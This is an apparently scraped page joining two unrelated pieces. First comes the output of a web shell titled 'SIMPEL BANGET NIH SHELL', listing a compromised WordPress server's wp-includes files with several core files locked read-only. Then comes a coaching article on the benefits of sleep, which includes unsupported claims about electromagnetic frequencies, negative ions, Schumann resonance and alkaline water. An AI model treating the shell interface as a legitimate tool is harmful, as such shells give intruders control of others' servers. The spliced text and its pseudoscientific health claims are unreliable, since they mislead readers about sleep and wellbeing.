SIMPEL BANGET NIH SHELL

Current directory: /srv/users/timms/apps/timms/public/wp-includes

Server information: Linux ubuntu-s-2vcpu-4gb-lon1-01 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64

Filename Permissions Actions
. Directory
.. Directory
.htaccess 0444
ID3 Directory
IXR Directory
PHPMailer Directory
Requests Directory
SimplePie Directory
Text Directory
admin-bar.php 0644
assets Directory
atomlib.php 0644
author-template.php 0644
block-editor.php 0644
block-i18n.json 0644
block-patterns Directory
block-patterns.php 0644
block-supports Directory
block-template-utils.php 0644
block-template.php 0644
blocks Directory
blocks.php 0644
bookmark-template.php 0644
bookmark.php 0644
cache-compat.php 0644
cache.php 0644
canonical.php 0644
capabilities.php 0644
category-template.php 0644
category.php 0644
certificates Directory
class-IXR.php 0644
class-feed.php 0644
class-http.php 0644
class-json.php 0644
class-oembed.php 0644
class-phpass.php 0644
class-phpmailer.php 0644
class-pop3.php 0644
class-requests.php 0644
class-simplepie.php 0644
class-smtp.php 0644
class-snoopy.php 0644
class-walker-category-dropdown.php 0644
class-walker-category.php 0644
class-walker-comment.php 0644
class-walker-nav-menu.php 0644
class-walker-page-dropdown.php 0644
class-walker-page.php 0644
class-wp-admin-bar.php 0644
class-wp-ajax-response.php 0644
class-wp-application-passwords.php 0644
class-wp-block-editor-context.php 0644
class-wp-block-list.php 0644
class-wp-block-parser.php 0644
class-wp-block-pattern-categories-registry.php 0644
class-wp-block-patterns-registry.php 0644
class-wp-block-styles-registry.php 0644
class-wp-block-supports.php 0644
class-wp-block-template.php 0644
class-wp-block-type-registry.php 0644
class-wp-block-type.php 0644
class-wp-block.php 0644
class-wp-comment-query.php 0644
class-wp-comment.php 0644
class-wp-customize-control.php 0644
class-wp-customize-manager.php 0644
class-wp-customize-nav-menus.php 0644
class-wp-customize-panel.php 0644
class-wp-customize-section.php 0644
class-wp-customize-setting.php 0644
class-wp-customize-widgets.php 0644
class-wp-date-query.php 0644
class-wp-dependencies.php 0644
class-wp-dependency.php 0644
class-wp-editor.php 0644
class-wp-embed.php 0644
class-wp-error.php 0644
class-wp-fatal-error-handler.php 0644
class-wp-feed-cache-transient.php 0644
class-wp-feed-cache.php 0644
class-wp-hook.php 0644
class-wp-http-cookie.php 0644
class-wp-http-curl.php 0644
class-wp-http-encoding.php 0644
class-wp-http-ixr-client.php 0644
class-wp-http-proxy.php 0644
class-wp-http-requests-hooks.php 0644
class-wp-http-requests-response.php 0644
class-wp-http-response.php 0644
class-wp-http-streams.php 0644
class-wp-http.php 0644
class-wp-image-editor-gd.php 0644
class-wp-image-editor-imagick.php 0644
class-wp-image-editor.php 0644
class-wp-list-util.php 0644
class-wp-locale-switcher.php 0644
class-wp-locale.php 0644
class-wp-matchesmapregex.php 0644
class-wp-meta-query.php 0644
class-wp-metadata-lazyloader.php 0644
class-wp-network-query.php 0644
class-wp-network.php 0644
class-wp-object-cache.php 0644
class-wp-oembed-controller.php 0644
class-wp-oembed.php 0644
class-wp-paused-extensions-storage.php 0644
class-wp-post-type.php 0644
class-wp-post.php 0644
class-wp-query.php 0644
class-wp-recovery-mode-cookie-service.php 0644
class-wp-recovery-mode-email-service.php 0644
class-wp-recovery-mode-key-service.php 0644
class-wp-recovery-mode-link-service.php 0644
class-wp-recovery-mode.php 0644
class-wp-rewrite.php 0644
class-wp-role.php 0644
class-wp-roles.php 0644
class-wp-scripts.php 0644
class-wp-session-tokens.php 0644
class-wp-simplepie-file.php 0644
class-wp-simplepie-sanitize-kses.php 0644
class-wp-site-query.php 0644
class-wp-site.php 0644
class-wp-styles.php 0644
class-wp-tax-query.php 0644
class-wp-taxonomy.php 0644
class-wp-term-query.php 0644
class-wp-term.php 0644
class-wp-text-diff-renderer-inline.php 0644
class-wp-text-diff-renderer-table.php 0644
class-wp-textdomain-registry.php 0644
class-wp-theme-json-data.php 0644
class-wp-theme-json-resolver.php 0644
class-wp-theme-json-schema.php 0644
class-wp-theme-json.php 0644
class-wp-theme.php 0644
class-wp-user-meta-session-tokens.php 0644
class-wp-user-query.php 0644
class-wp-user-request.php 0644
class-wp-user.php 0644
class-wp-walker.php 0644
class-wp-widget-factory.php 0644
class-wp-widget.php 0644
class-wp-xmlrpc-server.php 0644
class-wp.php 0644
class-wpdb.php 0644
class.wp-dependencies.php 0644
class.wp-scripts.php 0644
class.wp-styles.php 0644
comment-template.php 0644
comment.php 0644
compat.php 0644
cron.php 0644
css Directory
customize Directory
date.php 0644
default-constants.php 0644
default-filters.php 0644
default-widgets.php 0644
deprecated.php 0644
embed-template.php 0644
embed.php 0644
error-protection.php 0644
feed-atom-comments.php 0644
feed-atom.php 0644
feed-rdf.php 0644
feed-rss.php 0644
feed-rss2-comments.php 0644
feed-rss2.php 0644
feed.php 0644
fonts Directory
formatting.php 0644
functions.php 0444
functions.wp-scripts.php 0644
functions.wp-styles.php 0644
general-template.php 0644
global-styles-and-settings.php 0644
html-api Directory
http.php 0644
https-detection.php 0644
https-migration.php 0644
images Directory
js Directory
kses.php 0644
l10n.php 0644
link-template.php 0644
load.php 0644
locale.php 0644
media-template.php 0644
media.php 0644
meta.php 0644
ms-blogs.php 0644
ms-default-constants.php 0644
ms-default-filters.php 0644
ms-deprecated.php 0644
ms-files.php 0644
ms-functions.php 0644
ms-load.php 0644
ms-network.php 0644
ms-settings.php 0644
ms-site.php 0644
nav-menu-template.php 0644
nav-menu.php 0644
option.php 0644
php-compat Directory
pluggable-deprecated.php 0644
pluggable.php 0644
plugin.php 0444
pomo Directory
post-formats.php 0644
post-template.php 0644
post-thumbnail-template.php 0644
post.php 0644
query.php 0644
random_compat Directory
registration-functions.php 0644
registration.php 0644
rest-api Directory
rest-api.php 0644
revision.php 0644
rewrite.php 0644
robots-template.php 0644
rss-functions.php 0644
rss.php 0644
script-loader.php 0644
session.php 0644
shortcodes.php 0644
sitemaps Directory
sitemaps.php 0644
sodium_compat Directory
spl-autoload-compat.php 0644
style-engine Directory
style-engine.php 0644
taxonomy.php 0644
template-canvas.php 0644
template-loader.php 0644
template.php 0644
theme-compat Directory
theme-i18n.json 0644
theme-templates.php 0644
theme.json 0644
theme.php 0644
update.php 0644
user.php 0644
vars.php 0644
version.php 0644
widgets Directory
widgets.php 0644
wlwmanifest.xml 0644
wp-db.php 0644
wp-diff.php 0644
The Benefits of Sleep | Life Changing Energies |

Benefits of Sleep

The Benefits of Sleep

Sleep is a gift and a learned behaviour, so even if your sleep pattern has broken, it can be re-established and any emotional blocks removed through the work I do as a Wingwave coach.
 
The environment is important, as is the lead up to bedtime and also what we do during the day which can impact our ability to wind down and ready ourselves for the magnificence that is sleep.
 
Did you know that during sleep our bodies rest, repair, rejuvenate and have processes going on that are vital for good health.
 
  • Certain proteins are released called Cytokines that target infection and inflammation building a good immune system.
  • The appetite hormones Ghrelin and Leptin are in action, decreasing and increasing respectively to reduce appetite so lack of sleep sends these, along with our appetites out of control.
  • New neural/nerve pathways are laid down
  • New research shows that the brain cells shrink to allow gaps between the nerves to “spring clean” and flush heavy metals and toxins. One such protein is Beta-amyloid(implicated in Alzheimer’s disease).The toxins are absorbed during the day from the environment. You need good quality sleep even when you get older.
  • Good sleep gives you more energy and mental clarity and focus the next day.
  • Better mood.
  • Less likely to develop pre diabetes
  • Less likely to develop high blood pressure
  • Less likely to develop heart disease
  • Less likely to gain weight
 
Caffeinated drinks, blue light from screens and electromagnetic frequencies emitted from devices along with sleep trackers can actually stop you sleeping, as can being dehydrated. Alkaline water filters can help here if you dislike the taste of tap water and want to stop adding to the ever growing mountain of plastic water bottle waste.
Not getting out into nature to breathe the negative ions and connect with the earth’s frequencies (Schumann resonance/geo-magnetic force) can also impede our sleep.
 
We look better, we FEEL better, we function better and our longevity increases. 
We sleep better, we live better.